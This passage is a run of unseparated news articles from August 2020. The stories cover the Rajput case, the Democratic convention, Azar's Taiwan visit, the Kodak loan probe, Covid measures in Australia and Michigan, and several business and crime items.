government's recommendation for a CBI probe in the matter. The top court had directed Rajput's father Krishna Kishore Singh as also Bihar and Maharashtra to respond within three days to Chakraborty's plea seeking transfer of an FIR, accusing her of abetting the actor's suicide, from Patna to Mumbai. The 34-year-old Bollywood actor was found hanging from the ceiling of his apartment in suburban Bandra in Mumbai on June 14. NFF to share $2million Covid-19 relief among clubs The Nigeria Football Federation (NFF) has confirmed it would disburse $2million to clubs and leagues in the country, to cushion the financial effects of COVID-19. After consultations with the leadership of the Federal Ministry of Youth and Sports, the Board endorsed the proposal from the secretariat for the lump sum of $2 million only to be shared across the various football clubs and governing bodies of the various Leagues, a statement on Tuesday read. The relief fund is made up of $1million from FIFAs support for restarting the football season, $500,0000 from the world football governing bodys grant for womens football, $300,000 of CAF support to member associations and $200,000 from sponsors of the Nigerian FA. The lawsuit against Macys is seeking $1,000 for each member of the proposed class for every negligent violation of the biometric privacy act and $5,000 for every intentional violation by the department store chain, as well as punitive damages and other costs. Kamala Harris, who is of mixed Indian and African American descent, remains on a shortening list of candidates Joe Biden, the presumptive Democratic nominee, could pick as his running mate as the party announced on Tuesday its list of speakers for the national convention to be held virtually next week. The list of VP probables is much shorter than the one Biden that followed his announcement weeks ago that he will pick a woman. Harris, a senator from California, has remained on the list as some others dropped out. So have Congresswoman Karen Baas and former National Security Adviser Susan Rice. Senator Tammy Duckworth and Michigan governor Gretchen Whitmer and Atlanta mayor Keisha Lance Bottoms are also there. The Democratic National Committee (DNC) announced Tuesday a list of speakers for the four nights of the convention starting August 17, during which Biden will be officially crowned as the partys nominee to take on President Donald Trump, the Republican incumbent Speakers include former Presidents Barack Obama and Bill Clinton and former first ladies Michelle Obama and Hillary Clinton. Also on the list were Speaker Nancy Pelosi, the most senior woman politician in the US, and Senators Bernie Sanders and Elizabeth Warren, the two leaders of the progressive wing of the party, and Alexandria Ocasio-Cortez, the rock-star progressive congresswoman from New York. Former Ohio governor John Kasich, a Republican, is also on the list of speakers in recognition perhaps of and in a tactical move to tap into Republicans opposed to President Trump. The Lincoln Project a group of former Republican strategists and operatives that include John McCain campaign head Steve Schmidt, Mitt Romney campaign strategist Stuart Stevens and several leading NeverTrumpers has run some of the most hard-hitting campaign ads against Trump. The Republican convention starts on August 24 and will also be all done virtually, though some ground-activity in Charlottesville, North Carolina are still being considered. President Trump on Monday confirmed reports that he is looking at Gettysburg, the site of the iconic 1863 address by President Abraham Lincoln, as one of the venues for his convention speech accepting the partys nomination to seek a second term. The other venue up for consideration is White House. The Republican National Committee has yet to announce other details about the convention, including speakers. By Yimou Lee TAIPEI (Reuters) - U.S. Health Secretary Alex Azar attacked China's response to the coronavirus pandemic on Tuesday and said that if such an outbreak had emerged in Taiwan or the United States it could have been "snuffed out easily". The Trump administration has repeatedly criticised Beijing for trying to cover up the virus outbreak, first identified in the central Chinese city of Wuhan late last year, and prevaricating on information sharing. China angrily denies the accusations. "The Chinese Communist Party had the chance to warn the world and work with the world on battling the virus. But they chose not to, and the costs of that choice mount higher every day," Azar said in Taipei, capital of self-ruled Taiwan, an island China claims as its own. As the virus emerged, China did not live up to its "binding" international obligations in a betrayal of the cooperative spirit needed for global health, he added, wearing a face mask as he has done for all his public events in Taiwan. "I believe it is no exaggeration to say that if this virus had emerged in a place like Taiwan or the United States, it might have been snuffed out easily: rapidly reported to public health authorities, who would have shared what they knew with health professionals and with the general public," Azar said. "Instead, Beijing appears to have resisted information sharing, muzzling doctors who spoke out and hobbling the world's ability to respond." The United States has the highest number of coronavirus infections and deaths in the world and President Donald Trump has come under scathing attack from critics at home for not taking what he calls the "China virus" seriously enough. Taiwan has been praised by health experts for its early and effective steps to control the outbreak, with only 480 infections, including seven deaths. Azar arrived in Taiwan on Sunday as the highest-level U.S. official to visit in four decades, a trip condemned by China. Story continues China considers Taiwan a breakaway province and has vowed to bring it under its rule, by force if necessary. Chinese fighter jets on Monday briefly crossed the median line of the sensitive Taiwan Strait, and were tracked by Taiwanese anti-aircraft missiles, part of what Taipei sees as a pattern of harassment by Beijing. Washington broke off official ties with Taipei in 1979 in favour of Beijing but is still Taiwan's biggest arms supplier. The Trump administration has made strengthening its support for the democratic island a priority as relations with China sour over issues including human rights, the pandemic, Hong Kong and trade. Azar said the world should recognise Taiwan's health accomplishments and not try to push it out, pointing to Taiwan's exclusion from the World Health Organization due to Chinese objections. "This behaviour is in keeping with Beijing's approach to WHO and other international organisations. The influence of the PRC (People's Republic of China) far outweighs its investment in this public health institution - and it uses influence not to advance public health objectives, but its own narrow political interests." Both China and the WHO say Taiwan has been provided with the help it needs during the pandemic, which Taiwan disputes. (Reporting by Yimou Lee; Writing by Ben Blanchard; Editing by Lincoln Feast and Nick Macfie) A former presidential candidate has come out to dare the federal government and northern leaders with a shocking revelation of those behind the flaring insecurity across Nigeria. Mailafia Obadiah, an also-ran in the 2019 presidential electionon the platform of the African Democratic Congresssaid the Nigerian government is part and parcel of terrorism and banditry, and there is a grander plan. His proof, however, is anecdotal, sounding more like a conspiracy theory, The body language of this administration shows clearly that they have a hand in the killings, no doubt about it, Obadiah who was once a deputy governor of the CBN during a show on Nigeria Info radio Tuesday. He claimed to have an internal security network that makes his revelations, wild as they sound, credible. We have met with some of the bandits high commanders who have repented. They told us that one of the northern governors is the commander of Boko Haram in Nigeria, he said while commenting on the southern Kaduna killing. According to him, Boko Haram and bandits are one and the same, with a sophisticated network. During the lockdown their planes were moving up and down with ammunitions, logistics, money, and distributing them in different parts of the country, he added without presenting evidence. Nigeria shut down its air space during the covid-19 lockdown, allowing only essential flights and humanitarian services. They are already in the rain forest of the south, they are everywhere. They told us that when they finish this ruler killings, they would move to phase two. At that stage, he said the terrorists will go into the urban cities, moving from house to house killing prominent people. I can tell you this is their game plan and by 2022, they want to start a civil war in Nigeria. Vesuvius plc (LON:VSVS) shareholders should be happy to see the share price up 12% in the last month. But that cannot eclipse the less-than-impressive returns over the last three years. Truth be told the share price declined 23% in three years and that return, Dear Reader, falls short of what you could have got from passive investing with an index fund. View our latest analysis for Vesuvius While markets are a powerful pricing mechanism, share prices reflect investor sentiment, not just underlying business performance. One imperfect but simple way to consider how the market perception of a company has shifted is to compare the change in the earnings per share (EPS) with the share price movement. Vesuvius saw its EPS decline at a compound rate of 7.0% per year, over the last three years. This fall in EPS isn't far from the rate of share price decline, which was 8.2% per year. That suggests that the market sentiment around the company hasn't changed much over that time, despite the disappointment. Rather, the share price has approximately tracked EPS growth. You can see how EPS has changed over time in the image below (click on the chart to see the exact values). We consider it positive that insiders have made significant purchases in the last year. Even so, future earnings will be far more important to whether current shareholders make money. This free interactive report on Vesuvius' earnings, revenue and cash flow is a great place to start, if you want to investigate the stock further. What about the Total Shareholder Return (TSR)? We've already covered Vesuvius' share price action, but we should also mention its total shareholder return (TSR). Arguably the TSR is a more complete return calculation because it accounts for the value of dividends (as if they were reinvested), along with the hypothetical value of any discounted capital that have been offered to shareholders. Dividends have been really beneficial for Vesuvius shareholders, and that cash payout explains why its total shareholder loss of 17%, over the last 3 years, isn't as bad as the share price return. Story continues A Different Perspective While the broader market lost about 7.9% in the twelve months, Vesuvius shareholders did even worse, losing 9.9%. Having said that, it's inevitable that some stocks will be oversold in a falling market. The key is to keep your eyes on the fundamental developments. On the bright side, long term shareholders have made money, with a gain of 4.5% per year over half a decade. It could be that the recent sell-off is an opportunity, so it may be worth checking the fundamental data for signs of a long term growth trend. It's always interesting to track share price performance over the longer term. But to understand Vesuvius better, we need to consider many other factors. For example, we've discovered 3 warning signs for Vesuvius that you should be aware of before investing here. There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on GB exchanges. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. That is all for this evening's live blog, thank you for joining me. Here's a recap of the day's major stories:- - Victoria recorded 21 more deaths - the highest daily total since the beginning of pandemic - with 410 new cases of COVID-19 announced on Wednesday. - NSW recorded 18 new cases in the latest 24-hour reporting period, Premier Gladys Berejiklian announced. - Australian Defence Force officials were sent to Victoria to help plan the emergency response to the COVID pandemic - including the quarantine of returned travellers - a week before the hotel regime was approved by the national cabinet. - The WA government is rushing to change legislation governing Clive Palmer's Mineralogy iron ore operations to thwart a damages claim it says may top $30 billion and bankrupt the state. - Victoria's Jobs Minister Martin Pakula appeared before a parliamentary committee to distance himself from the lapses in hotel quarantine, saying his department was responsible for things like logistics. - NSW residents returning from Victoria will have a one-month grace period on paying for hotel quarantine. - ACT residents returning home from Victoria will have a five-day window to do so from Thursday, according to new changes to permit rules. - Former chief medical officer Brendan Murphy has testily rejected claims heard by the Aged Care Royal Commission that deaths from COVID-19 in Australian residential aged care were among the highest in the world. - The Commonwealth Bank expects house prices to drop at least 10 per cent as a result of a slow COVID-19 recovery. - The AFL will take no action against Collingwood coach Nathan Buckley over a fist bump with a supporter at Adelaide Oval after the Magpies' victory over the Crows. - Pharmacies will now test for COVID-19 in Queensland, which continues run of zero new cases. - A domestic flight to Antarctica might be our first chance to leave Australia by air. - All New Zealand aged care facilities will close their doors to everyone except staff and essential deliveries as the country races to avert a COVID-19 outbreak. "PACHC is delighted to partner with Cognosante to continue to play a role in ensuring that more people gain the security of health coverage." The Pennsylvania Health Insurance Exchange Authority has awarded a contract to Cognosante, LLC to provide Exchange Assister and Navigator services in support of the Commonwealths newly formed state-based health insurance marketplace named Pennie. Under the contract, Cognosante and its teaming partners will provide outreach and no-cost enrollment assistance across Pennsylvania to individuals and families seeking health insurance coverage. For plan year 2021, Pennsylvania is transitioning from HealthCare.gov to its own state-based health insurance marketplace, Pennie. Pennie aims to improve the accessibility and affordability of individual market health coverage for Pennsylvanians and will be live at the beginning of the 2021 Open Enrollment Period which runs from November 1, 2020 through January 15, 2021. This contract is further proof of Cognosantes steadfast commitment to delivering solutions that help improve access to lower-cost, high-quality health coverage for Americans, says Michele Kang, Founder and CEO of Cognosante. With its extensive background supporting HealthCare.gov, and strong project management and technology expertise, Cognosante will lead the team with a focus on the historically hard-to-reach, underserved, and uninsured populations within the Commonwealth using data-driven outreach practices. Cognosante has partnered with four Pennsylvania organizations, including three small, diverse businesses, resulting in a strong delivery team. The Pennsylvania Association of Community Health Centers (PACHC) a Centers for Medicare & Medicaid Services (CMS) Navigator grantee since 2013, brings a coordinated, statewide approach, engaging more than 300 health center sites across Pennsylvania who will offer enrollment assistance to consumers in rural and urban communities. PACHC President & CEO, Cheri Rinehart, says in response to the award, PACHC is delighted to partner with Cognosante to continue to play a role in ensuring that more people gain the security of health coverage. It was important before the pandemic and the health and economic impacts of COVID-19 have made it even more important now. DynaVet Solutions, a Service-Disabled Veteran Owned Small Business, will support the teams program performance reporting and offer objective recommendations for continuous improvement of outreach activities. Latino Connection, a State-certified Minority Business Enterprise, is a strategic communications firm that will bring extensive outreach experience to Pennsylvanias diverse populations through outreach and enrollment events. Luminous Strategies, also a State-certified Minority Business Enterprise, is a prominent advocacy and public affairs firm that will develop and maintain Exchange Assister training and support enrollment events. "We are thrilled for this collaboration and what it means for Pennsylvanians in need of enrollment assistance this fall during Open Enrollment," said Zachary W. Sherman, Executive Director of Pennie. Cognosante and their trusted partners have proven Exchange Assister experience, with established and diverse networks in communities across the Commonwealth. In a year when so many Pennsylvanians are in need of support and the security health coverage provides, we are pleased to be joining forces with trusted partners who can hit the ground running. We are excited to partner with such a broad range of local experts who understand the uniqueness of Pennsylvania residents needs and who fully grasp the importance of state-based healthcare delivery. This diverse team composition positions us well to support Pennsylvania in its transition journey, said Karen Gage, General Manager of Cognosantes State Solutions Business Unit. Individuals seeking primary care and/or information on enrollment assistance are welcome to find their local community health center through the Find a Health Center link on the PACHC website, http://www.pachc.org, or by calling PACHCs tollfree hotline at 1-866-944-CARE (1-866-944-2273). About Cognosante Cognosante provides technology solutions and business process outsourcing to federal, state, and local government health and human services agencies. The company has more than a decade of experience working with states and the Federal government, developing, managing, and executing large, complex health information programs. Its expertise includes Medicaid, Medicare, military and Veterans health, the health insurance marketplace, data standards and analytics, and modular system development and integration. Visit http://www.cognosante.com for more information. # # # New Delhi [India], Aug 10 (ANI): The Western Railway sent a special parcel train from Gujarat's Kankaria to Bangladesh to transport cloth, dye, and chemicals, the Ministry of Railways said on Monday. "After Onions, another Parcel Special to Bangladesh! Western Railway loaded a Special Parcel train from Kankaria (Gujarat) for Benapol (Bangladesh) to transport Cloth, Dye, and Chemicals," said the ministry in a tweet. This move comes after the transportation of onions from Gujarat to Bangladesh in order to benefit local farmers. Earlier this month, Minister of Railways and Commerce and Industry Piyush Goyal had said that in order to empower farmers, onions are being transported from Gujarat to Bangladesh. "Propelling agriculture exports to economically empower farmers, in a first, Railways is transporting onions from Dhoraji in Gujarat to Bangladesh," he had tweeted. In this sequence, Western Railway said that the transportation of onions would benefit the farmers and traders of the region. "Efforts to boost transportation of newer commodities by WR's BDU of Bhavnagar Division bears fruits as first-ever rake of onions loaded from Dhoraji in Gujarat for export to Bangladesh. The move will benefit the Farmers and Traders of the region to a great extent," said the Western Railway. (ANI) Gov. Gretchen Whitmer vetoed legislation that would have shielded healthcare providers from lawsuits for care provided during a state of emergency Monday, claiming the bill would unnecessarily endanger patients. The legislation, Senate Bill 899, would have granted healthcare providers and facilities immunity from civil or criminal lawsuits for injury or death during a state of emergency unless they engaged in criminal misconduct or intentionally harmed a patient. The bill would have also retroactively applied immunity to healthcare workers during the COVID-19 pandemic, which started March 10. In her veto letter, Whitmer acknowledged her action to invoke liability protections for certain healthcare providers at one point in the COVID-19 pandemic as new cases were surging. But she took issue with Senate Bill 899 automatically extending immunity to healthcare providers and facilities anytime a state of emergency is declared without consideration for whether such a measure was necessary. Senate Bill 899 would endanger patients and workers unnecessarily, making it nearly impossible to obtain relief from injury during a state of emergency, she said in a statement. As always, I will continue to work together with the legislature to protect Michiganders and their families during this crisis. The measure had passed the House and Senate largely along partisan lines, and Republican supporters of the bill said the governors veto did a disservice to healthcare providers stretched thin during a pandemic. By vetoing this measure, the governor is just making it harder for medical professionals to do their job, said the bills sponsor, Sen. Michael MacDonald, R-Macomb Township. As this global pandemic continues, our doctors and nurses should be able to focus on providing the best care possible for their patients without worrying about possible lawsuits. In a statement, House Speaker Lee Chatfield, R-Levering, questioned why the governor felt our frontline healthcare workers deserved this protection two months ago, but not today. COVID-19 PREVENTION TIPS: In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores. Michigan Gov. Gretchen Whitmer has also issued executive orders requiring people to wear face coverings over their mouth and nosewhile in public indoor and crowded outdoor spaces. See an explanation of what that means here. Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus. For more data on COVID-19 in Michigan, visit https://www.mlive.com/coronavirus/data/. Read more on MLive: Whitmer and Trump have different ideas about if and how to reopen schools. But in Michigan, plans are ultimately local. Michiganders are bitterly divided on the coronavirus response. Could Whitmer have done more to win Republicans over? How accurate is Michigans COVID-19 death total? Are masks bad for your health?, plus 8 other coronavirus myths and truths Latest on coronavirus antibodies and immunity: What we know and what we dont at this point A member of Kodak's board of directors donated $116million worth of stock to a Jewish charity he founded two years ago, one day after the photo company announced it had secured a $765million government loan that sent its share prices soaring. Billionaire investor and Kodak board member George Karfunkel filed an SEC report last week revealing he and wife Renee donated three million of their 6.3million shares to Congregation Chemdas Yisroe in Brooklyn on July 29. The stock gift is believed to be the largest donation to a religious group ever recorded, The Wall Street Journal reported on Tuesday. The move however, has raised further questions on allegations of insider trading after it was revealed Kodak CEO Jim Continenza had been awarded 1.75 million stock options just hours before the government deal was made public. Kodak's $765 million government loan to become a pharmaceutical company has been put on ice while the government investigates 'allegations of wrongdoing' after shares skyrocketed by 1,000 percent and netted $30 million for the CEO who received stock options the day before the deal was announced According to Karfunkel's filing, Chemdas Yisroel was founded in Delaware in December 2018, but uses Brooklyn accounting firm, Roth & Co, as its mailing address. The 72-year-old is listed as president of the charity. Karfunkel's donation to the congregation means the billionaire investor could potentially be entitled to tens of millions of dollars in tax deductions. On Friday, Kodak announced the company had hired a law firm to conduct an internal review related to the government deal that will also look into Karfunkel's donation. It comes after the SEC was reported to have opened an investigation into Kodak's disclosure of the loan that caused stock prices to rise by 25 per cent on July 27 - the day before it was announced. Shares in the photography business plummeted more than 40 percent before Wall Street's opening bell on Monday after the US International Development Finance Corporation announced 'serious concerns' have led it to put the lucrative deal on hold. The US International Development Finance Corporation announced late Friday the deal with Kodak had been halted while a probe is carried out This marks a major blow for the struggling film firm just weeks after it secured the deal with the Trump administration to make pharmaceutical goods to help plug the gap in the nation's drug supply chain. The US International Development Finance Corporation announced late Friday the deal with Kodak had been halted while a probe is carried out. 'On July 28, we signed a Letter of Interest with Eastman Kodak. Recent allegations of wrongdoing raise serious concerns. We will not proceed any further unless these allegations are cleared,' the federal agency tweeted. Chief Executive Jim Continenza bagged 1.75 million stock options in the hours leading up to the announcement of the government deal 'We remain committed to working together with other government agencies to address critical shortfalls in America's pharmaceutical supply chain.' White House economic advisor Peter Navarro on Friday tweeted that he was 'very disappointed' with the allegations against the firm. The New York-based company is facing a probe from the SEC over its announcement of the deal on July 27 and into stock options granted to Kodak executives the same day. On July 28, Donald Trump announced Kodak would receive a $765 million federal loan to produce ingredients to make pharmaceuticals in the US as part of an effort to reduce the nation's reliance on other countries for generic drugs. The president called the deal - the first of its kind under the Defense Production Act - 'a breakthrough in bringing pharmaceutical manufacturing back to the United States.' 'Our 33rd use of the Defense Production Act will mobilize Kodak to make generic, active pharmaceutical ingredients,' Trump said. 'We will bring back our jobs and we will make America the world's premier medical manufacturer and supplier.' Shares in the photography business plummeted more than 40 percent before Wall Street's opening bell Monday after the US International Development Finance Corporation announced 'serious concerns' had led it to put the lucrative deal on hold Through the deal, Kodak said it was launching a new pharma division that could eventually make a quarter of all active ingredients used in generic drugs. It is not clear if the deal meant the company would be working on drugs to tackle the coronavirus pandemic. It then emerged that several top executives had been awarded millions in stock options the day before the official announcement. Continenza and three other top Kodak executives were awarded stock options that included the right to buy Kodak stock at $3.03, $4.53, $6.03, and $12 per share until February 2026. The CEO was the primary beneficiary, having been awarded 1.75 million options with 981,707 shares purchased at a stock price of $3.03 per share. When news of the government deal broke, Kodak's shares - which had been trading under $2 - soared more than 1,000 percent. Within 48 hours of the options grants, shares stood at $60 and the executives' newly awarded stock options had reached a total value of $50 million. None of Kodak's executives have sold any shares since the deal was announced, and a spokesperson said Continenza did not plan to sell any of his, the WSJ said. The family of Don Lewis, who appeared on the Netflix docuseries Tiger King, are offering $100,000 (80,000) for information which helps solve his disappearance. Lewis disappeared in 1997 while married to Carole Baskin, the animal rights campaigner who featured prominently in the Netflix True Crime series. Baskin was Lewiss second wife. The Florida mans family hired attorney John Phillips to launch an independent investigation into Lewiss appearance. Phillips announced in a press conference that the family were filing a lawsuit against Baskin in an attempt to depose her and obtain on-the-record testimony. Lewis went missing just one day before a planned trip to Costa Rica. He was never located, and was declared legally dead in 2002. His youngest daughter Gale Rathbone spoke at the press conference. Amazingly, our little family tragedy has become your tragedy, she said. Our search for closure and truth has become your mission also, she said. We all know by now that [Lewis] was not a perfect man. But do only the perfect among us deserve justice? Baskin has told press that she would not discuss pending litigation until its been resolved. Tiger King: Murder, Madness and Mayhem focussed primarily on felonious zoo owner Joe Exotic, his history of animal abuse, and his scheme to arrange the murder-for-hire of Baskin. Baskin and Lewis established an animal sanctuary together, which eventually became Big Cat Rescue Corp. The documentary covered Exotics allegations that Baskin had killed her husband and supposedly fed him to tigers, claims which Baskin has repeatedly refuted, and for which she has never been charged. The dean of Alabamas delegation in the House of Representatives lauded the weekend executive orders issued by President Trump even as those orders have received mixed reviews nationally. During a speech Monday to the Guntersville Rotary Club, Rep. Robert Aderholt spoke primarily about the benefits of those actions taken by Trump after negotiations between congressional leaders stalled over a new coronavirus benefits package. Democrats have criticized Trumps orders and Republican Sen. Ben Sasse of Nebraska described them as unconstitutional slop. Aderholt, however, said he saw two benefits to the orders. The first are the orders themselves, which would provide $400 in unemployment pay to replace the expired $600 in weekly benefits under the CARES Act. The second advantage, Aderholt said, is that it could bring Democrats back to the table for more talks on a new relief package. I do think that what we see now is going to help the American people, no question, Aderholt said following the speech to about 25 people. $400 a week in additional unemployment money is big. For people (making) under $100,000 not paying social security tax or its being deferred is a big deal. Whether you are employed or unemployed, for the average American its going to make an impact. Related: Cost of Trump unemployment order worries Alabama budget chairs During his speech which Aderholt said was his first in-person civic meeting since the pandemic began affecting Alabama in March the congressman acknowledged that Democrats may choose to fight Trumps orders in federal court. House Speaker Nancy Pelosi, in a joint statement with Senate Minority Leader Chuck Schumer after Trump issued his orders, called for Republicans to resume negotiations. Todays meager announcements by the President show President Trump still does not comprehend the seriousness or the urgency of the health and economic crises facing working families, the statement said. Aderholt said he believed the presidents lawyers carefully crafted the executive orders to survive a legal challenge. I think the way that the lawyers for the president have probably done this, I think it is OK, Aderholt said after the speech when asked about the constitutionality of the orders. Thats why there was no stimulus check that was included in here (as with the CARES Act). A stimulus check clearly would have been spending money out of the treasury without Congress approval. But the way that I understand that the president has done this is to repurpose money that Congress has already appropriated for some disaster relief. This is considered a disaster and thats why they are allowed to use the money. When you get into definitions of what is a disaster and can that disaster money be repurposed, Im sure thats where a lawsuit could be brought. But I think they do have some good grounds on the fact that this is a very solid executive order that the president has put forward. Even if negotiations start again, Aderholt indicated he was not optimistic a deal could be reached. I think it will be a few days. Both sides will let the dust settle to see how our people are reacting, the congressman said. I still hold the belief that its going to be very difficult for the two sides to come to agreement just because they are so far apart. Aderholt also addressed a letter he and Rep. Peter Welch, D-Vermont, sent to congressional leaders last week asking for funding in the CARES Act earmarked for temporary broadband initiatives to be used on a permanent basis. Alabamas Republicans in the House -- Mo Brooks, Bradley Byrne, Gary Palmer, Martha Roby and Mike Rogers -- also signed the letter. What we wanted to make sure was this money could be used for a permanent basis as well as a temporary, Aderholt said. If the state of Alabama used some of this money for broadband and it ended up being permanent and not just temporary, would the state of Alabama be liable to pay that money back to the federal government and we wanted to make sure that was off the table. After the nikamma jibes, peace, brotherhood returns to Rajasthan Congress India oi-Vicky Nanjappa New Delhi, Aug 11: After all the 'nikamma' comments etc, peace and brotherhood appears to have returned to the Congress party in Rajasthan. Rajasthan crisis ends: But all is not well between Pilot & Gehlot | Oneindia News Chief Minister of Rajasthan, Ashok Gehlot said that peace and brotherhood will remain in the party, a day after Sachin Pilot signed a truce deal with the high command. Gehlot told reporters that if any MLA is angry with him, then it is his responsibility to address that. I have done this in the past and I will continue to do the same now, he also said. Pilot told reporters yesterday that he has imbibed certain values from the family, no matter how much he opposes anyone. I have never used such language. Gehlot ji is elder to me and I respect him personally. However I have the right to ask work related questions, he also said. Rajasthan crisis: CM Ashok Gehlot slams BJP, says it is trying to topple the government Gehlot said that a three member committee has been formed to resolve the grievances. The BJP tried to topple the government, but in the end all our party MLAs are together. Not even one has left us, he said. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 14:10 [IST] DUBLIN, Aug. 10, 2020 /PRNewswire/ -- The "Bioremediation Technology & Services - Global Market Outlook (2019 -2027)" report has been added to ResearchAndMarkets.com's offering. The Global Bioremediation Technology & Services market accounted for $9.13 billion in 2019 and is expected to reach $17.53 billion by 2027 growing at a CAGR of 8.5% during the forecast period. Some of the key factors propelling market growth are augment the usage of fungus for treatment process of soil, increase in oil trading and enlarge in oil-contaminated sites. However, treatment time is typically longer are the restraining factor for the growth of the market. Bioremediation is the procedure, which uses organisms to neutralize or take away contamination from waste. This technique works by providing microorganisms with dissimilar materials such as fertilizers and oxygen as well as extra conditions to stay alive. The significance of bioremediation is that it does not use chemicals and permits the waste to be recycled once the contamination is removed or neutralized. By product, in situ bioremediation segment is expected to grow at significant market share during the forecast period due to clean up hazardous compounds there in the surroundings. In suit bioremediation is used to neutralize pollutants together with hydrocarbons, chlorinated compounds, nitrates, and toxic metals among additional pollutants through a different of chemical mechanisms. On the basis of geography, North America is anticipated to hold considerable market share during the forecast period due to an increase in the number of companies present bioremediation services in the region. Presence of chief manufacturing industries, and augment in government funding for research & development activities in the bioremediation field are driving market growth in the region. Some of the key players in Bioremediation Technology & Services Market include Altogen Labs, Aquatech International, Drylet, Insitu Remediation Services Limited, Ivey International, Probiosphere, Regenesis, Sarva Bio Remed, Sevenson, Environmental Services, Soilutions, Sumas Remediation Services and Xylem. What the report offers: Market share assessments for the regional and country-level segments Strategic recommendations for the new entrants Covers Market data for the years 2018, 2019, 2020, 2024 and 2027 Market Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations) Strategic analysis: Drivers and Constraints, Product/Technology Analysis, Porter's five forces analysis, SWOT analysis, etc. Strategic recommendations in key business segments based on the market estimations Competitive landscaping mapping the key common trends Company Profiling with detailed strategies, financials, and recent developments Supply chain trends mapping the latest technological advancements Key Topics Covered: 1 Executive Summary 2 Preface 2.1 Abstract 2.2 Stake Holders 2.3 Research Scope 2.4 Research Methodology 2.4.1 Data Mining 2.4.2 Data Analysis 2.4.3 Data Validation 2.4.4 Research Approach 2.5 Research Sources 2.5.1 Primary Research Sources 2.5.2 Secondary Research Sources 2.5.3 Assumptions 3 Market Trend Analysis 3.1 Introduction 3.2 Drivers 3.3 Restraints 3.4 Opportunities 3.5 Threats 3.6 Technology Analysis 3.7 Application Analysis 3.8 Emerging Markets 3.9 Impact of Covid-19 4 Porters Five Force Analysis 4.1 Bargaining power of suppliers 4.2 Bargaining power of buyers 4.3 Threat of substitutes 4.4 Threat of new entrants 4.5 Competitive rivalry 5 Global Bioremediation Technology & Services Market, By Type 5.1 Introduction 5.2 Ex Situ Bioremediation 5.3 In Situ Bioremediation 6 Global Bioremediation Technology & Services Market, By Technology 6.1 Introduction 6.2 Phytoremediation 6.3 Bioaugmentation 6.4 Bioreactors 6.5 Land-based Treatments 6.6 Fungal Remediation 6.7 Biostimulation 7 Global Bioremediation Technology & Services Market, By Service 7.1 Introduction 7.2 Wastewater Remediation 7.3 Oilfield Remediation 7.4 Soil Remediation 8 Global Bioremediation Technology & Services Market, By Sales Channel 8.1 Introduction 8.2 Distributor 8.3 Direct Sales 9 Global Bioremediation Technology & Services Market, By Application 9.1 Introduction 9.2 Commercial 9.3 Residential 10 Global Bioremediation Technology & Services Market, By Geography 10.1 Introduction 10.2 North America 10.2.1 US 10.2.2 Canada 10.2.3 Mexico 10.3 Europe 10.3.1 Germany 10.3.2 UK 10.3.3 Italy 10.3.4 France 10.3.5 Spain 10.3.6 Rest of Europe 10.4 Asia Pacific 10.4.1 Japan 10.4.2 China 10.4.3 India 10.4.4 Australia 10.4.5 New Zealand 10.4.6 South Korea 10.4.7 Rest of Asia Pacific 10.5 South America 10.5.1 Argentina 10.5.2 Brazil 10.5.3 Chile 10.5.4 Rest of South America 10.6 Middle East & Africa 10.6.1 Saudi Arabia 10.6.2 UAE 10.6.3 Qatar 10.6.4 South Africa 10.6.5 Rest of Middle East & Africa 11 Key Developments 11.1 Agreements, Partnerships, Collaborations and Joint Ventures 11.2 Acquisitions & Mergers 11.3 New Product Launch 11.4 Expansions 11.5 Other Key Strategies 12 Company Profiling 12.1 Altogen Labs 12.2 Aquatech International 12.3 Drylet 12.4 Insitu Remediation Services Limited 12.5 Ivey International 12.6 Probiosphere 12.7 Regenesis 12.8 Sarva Bio Remed 12.9 Sevenson 12.10 Environmental Services 12.11 Soilutions 12.12 Sumas Remediation Services 12.13 Xylem For more information about this report visit https://www.researchandmarkets.com/r/sq8r Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com AKRON, Ohio The 73-year-old owner of a Dairy Queen fired one shot from his handgun to scare off two males attempting to rob him, according to police. The incident occurred at about 10:30 p.m. Saturday at the Dairy Queen on the 600 block of Wilbeth Road in the Firestone Park neighborhood. The owner tells police he had closed for the night and was walking to his car when two men approached. One of the men tried to grab the cash box from the owner, police say. Thats when the victim fired a single shot from his handgun, causing the two men to run off. Nothing was taken and there were no injuries. Police are searching for two male suspects, believed to be 18 to 19 years old. One of the suspects was wearing a gray hooded sweat shirt. Anyone with information can contact police at 330-375-2490. More crime-related content on cleveland.com: Akron man arrested in connection with 2019 deadly home invasion Euclid man charged with murder after girlfriends 18-month-old daughter dies of severe head injury Cuyahoga County hires first female jail warden, after last two wardens tenures end in misconduct accusations Man parachuting in downtown Cleveland injured after crashing into building More than 600 guns seized by Cleveland police sit untested, causing delays in prosecuting gun crimes, officials say The RNA Societys swift response to the pandemic demonstrates how associations drive collaboration and innovation. The Society connected its members with their local health departments so they could donate both much-needed equipment and world-class scientific expertise. MCI USA is pleased to announce that its client the RNA Society was honored by the American Society of Association Executives with a 2020 Power of A Silver Award for their innovative program that leveraged university laboratories to rapidly scale up COVID-19 testing. The Power of A Awards recognize and celebrate the extraordinary contributions associations make to society. We are so proud that one of our client partners, the RNA Society, is being recognized by ASAE with a prestigious Power of A Award, said Erin Fuller, FASAE, CAE, MPA, President, Association Solutions, MCI USA. The RNA Societys swift response to the 